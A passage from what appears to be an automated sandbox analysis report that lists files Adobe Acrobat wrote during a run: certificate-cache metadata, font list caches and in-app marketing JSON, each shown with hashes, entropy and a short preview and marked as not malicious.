Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklE7bG+stfllXlE/HT8ksvNNX8RolJuRdxLlGB9lQRYwpDdt:kKd7+eT8fNMa8RdWBwRd
MD5:	F4DFCE112FE1BC2A2A08AEDA00C90450
SHA1:	F5AA625243812C4250EC01F1FB835DA90813DDFA
SHA-256:	B06686823B5CF87B2F95900E1E56D69AF6A64E9ADA81B3DE27D06BB17525D597
SHA-512:	E8D00D8F6CF45D4CA887A71350953E6D2736AC69CE702200A11D782FD3846EAEFFEFA0AB287EDAD48C2F2A9D540B37395BC24AF8E7F67C402385F2C8B9217FB3
Malicious:	false
Preview:	p...... ........7...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.224697743856229
Encrypted:	false
SSDEEP:	6:kKxL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ZiDImsLNkPlE99SNxAhUe/3
MD5:	91E846F9421F4C593FBCDE3AEA2D4E1D
SHA1:	5984F8FD7DB91706E06BC88348A02E9D39814E03
SHA-256:	6AF70C49A9A817D3EBE71AA74B2AD25C9A8AB3813EEAF19CF8FC144A0DB1EFAE
SHA-512:	5904A219B6115B06E97FDB482784B1EBB30F37E36A666311050D9EF2884835CE4E20719C9CE2D64B839C868F1BFB50B430DAD5E4F8247FCF80849848891DA52E
Malicious:	false
Preview:	p...... ........m.b..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6984

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6984

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320526526442212
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJM3g98kUwPeUkwRe9:YvXKXuv/MVUYpW7XURRYGMbLUkee9
MD5:	3875ECBF7D196F0B1E0948E697EE6CA7
SHA1:	BE2C37A30F2256656D5DD4E354E91D2211D7F3EC
SHA-256:	0034F3B128FF21FDEEBAE712097579327624876A142F35120686E26B851469A4
SHA-512:	158E5F72DE28542CFAF9DC8D19A67DE377F90BB574DD57D1F65E9FF00E045686EB752458825C6AE9138A0491D4CDBDD7FCD129A0222878F25EF62BBF27C51DC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261767706634603
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfBoTfXpnrPeUkwRe9:YvXKXuv/MVUYpW7XURRYGWTfXcUkee9
MD5:	0AAF7C8507C7746B16B10568B0BA91EC
SHA1:	86FC08AC196A7DBDB76ABDC0137014702A98522D
SHA-256:	562242BB1D518F9CDD3DD9C5664D5F085856E3D0C2070FB826278212902E77BA
SHA-512:	7773B8D24EFD9306AFC270919BB4223D9E672857B4665681A5EA7939DBA7AF329656FBC82D17D313A87A3234E262EB8E81513386EC9E295597C062982E99F691
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.240965454603807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfBD2G6UpnrPeUkwRe9:YvXKXuv/MVUYpW7XURRYGR22cUkee9
MD5:	42E09D2CA042B7C3885094494224C1CE
SHA1:	D443B8E9DCC9A1FEB64B238714979EF40AD965B9
SHA-256:	4BDEB43BD6F424C230D40A95D5EFD6A1CD23A71391C4FA026B4AA14F26BA823D
SHA-512:	945689F336BCA2DE27D096000358AE62A87C4C775E2989C50D2B1D225FEB35004787469868954E5EAB67F63768D496BAFB2F4098EFE1113815F33665CF2498D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.2979163563812355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfPmwrPeUkwRe9:YvXKXuv/MVUYpW7XURRYGH56Ukee9
MD5:	C6BC43165A3E62F19D741C6E29B90B1B
SHA1:	09F28DCC6C705D1EF4F6973486B7C7E69EBAB7E5
SHA-256:	393E2A193C89B73FA646E77ADEEE50E097CA304A51D899988A682F18FDBA939A
SHA-512:	E9B19B846935F8E228DF02052D8FE0363C9C3B13E6B537D4100E6AFE442E168C5A042151A1244FE4E6D6680127882C50384B96A0C083DC335EC7775FA03CF83D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68729422330416
Encrypted:	false
SSDEEP:	24:Yv6Xuv/wiXUFpLgE9cQx8LennAvzBvkn0RCmK8czOCCSdt:YvJv/nXChgy6SAFv5Ah8cv/r
MD5:	4707C64BA13FF8FA6183C0B857B9BFDE
SHA1:	E5B38B1B5CB8D2892FCD1C6B38648BC43B3D2C83
SHA-256:	59D301D1E910BFD381B91751FE760DC3A06D1C82BAC216DBDCC211B6B2AE3AA7
SHA-512:	B44E1260210EF4D1B9A796724CE9A481546049201CF80874CC5E33D8F99909EFBF96F542A63AD219B796487374CCA35864CEFBA73FA31B94B491F4A82095A500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2428573509631855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJf8dPeUkwRe9:YvXKXuv/MVUYpW7XURRYGU8Ukee9
MD5:	A058ADA4FE75F46538CC83485CD6F3A3
SHA1:	CDB5EBE3B9924C76EC4EE18F3223F106FCE924B0
SHA-256:	ED76F336D4197D88079F32B12A419B7F8E2BF5D780C464D924B1EEF6BC834CD9
SHA-512:	A3DDA3B73FBE3D1905EA479F0EEA2E19A8697FC7EEB6D71C43BF82F2CA7A10084A2F857F394F347D11B917DB372FCA534152D33A8574F415110765AC33E3EC26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.245534216859269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfQ1rPeUkwRe9:YvXKXuv/MVUYpW7XURRYGY16Ukee9
MD5:	338EE34D5536898C4724CDBC70498BAC
SHA1:	5313F960626BCBE0E1A9916620892CCF44FDC116
SHA-256:	EF12A1BD7C8706721012EABBACABEEF1BED6F958990A6DBC9CDA349DCF00B5EF
SHA-512:	F7B93259A41013F9992BA24314203BBE31DE61242854543B1D54FA3F0571FF61FC8D055480E5BD58842FBEDDC7C8E6C7BC9860BA6A5D7519781CACE06B0CFC62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.262318556022491
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfFldPeUkwRe9:YvXKXuv/MVUYpW7XURRYGz8Ukee9
MD5:	8A6D84F02D234980A48C82256DB0CD0E
SHA1:	625A1C6CF968AB53AF89CAE42265EAD658E6E9CC
SHA-256:	33D5D55285EBE2C6325BD8C387DB1CBD1339E7D3C774BEC0492729E3A6E5A745
SHA-512:	67371D002F6DE35925C0AE21C7659A7CC523CA8821BB4805B0A67B1597AA82DC7F2912212B1EDF24BE36E2146997E6DD60B5879471DE7EE99F766469C123DABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.269665497965281
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfzdPeUkwRe9:YvXKXuv/MVUYpW7XURRYGb8Ukee9
MD5:	0E24B602BD28DF71AAB065128FE5EE5D
SHA1:	2F20F818E551514915D8D42D5ED5B1E0EF98B03E
SHA-256:	DEAF3308B18C0C759E064DA69988A7F5591B501BF73426F4CAAC31194BD3CA19
SHA-512:	45C22E686D4FEE150A0A5810B953BD737FE308B53338F36DEBA1905C76A925AD89BFBF21A74A9023EEDF1D14505137AD1C16D102667D531247C9016AC5FAD4E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2500674882067235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfYdPeUkwRe9:YvXKXuv/MVUYpW7XURRYGg8Ukee9
MD5:	77D4FB8532BF2B7CF78BDD703DE06B01
SHA1:	3E43C619FCD15C7B90EF39C714B3CD7C62250543
SHA-256:	10E05793CE15608A36A1A7269E7AD104C58AD7708CE129A601D80457AABE9FB2
SHA-512:	A145B9FA084E5CEF75D1060EB30DADD82F2BD607BC00A0F9616D24D429A4358A8D1A6BA108273F1A862730E070DFC3E87191C18F28DE8601F86BD961081547D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.23523876751211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJf+dPeUkwRe9:YvXKXuv/MVUYpW7XURRYG28Ukee9
MD5:	AD0391F804A7C455C1D8B398BDCA5792
SHA1:	287E293A68FDE4C0ACBD6CE60F60FF2DBA5B650A
SHA-256:	3CAD4644437913F421A7C0C87583E1AB15CC8B4BEA56C3BD1FE7130E6499915D
SHA-512:	1B703B3D5E817E072C78D151076654B89E89CA3EF2AB3AEE2E3BF179700C8722458DAF1959FD362926D4F936CB9031369170856A03616C4047AEC71521A5CF47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.233957764655798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfbPtdPeUkwRe9:YvXKXuv/MVUYpW7XURRYGDV8Ukee9
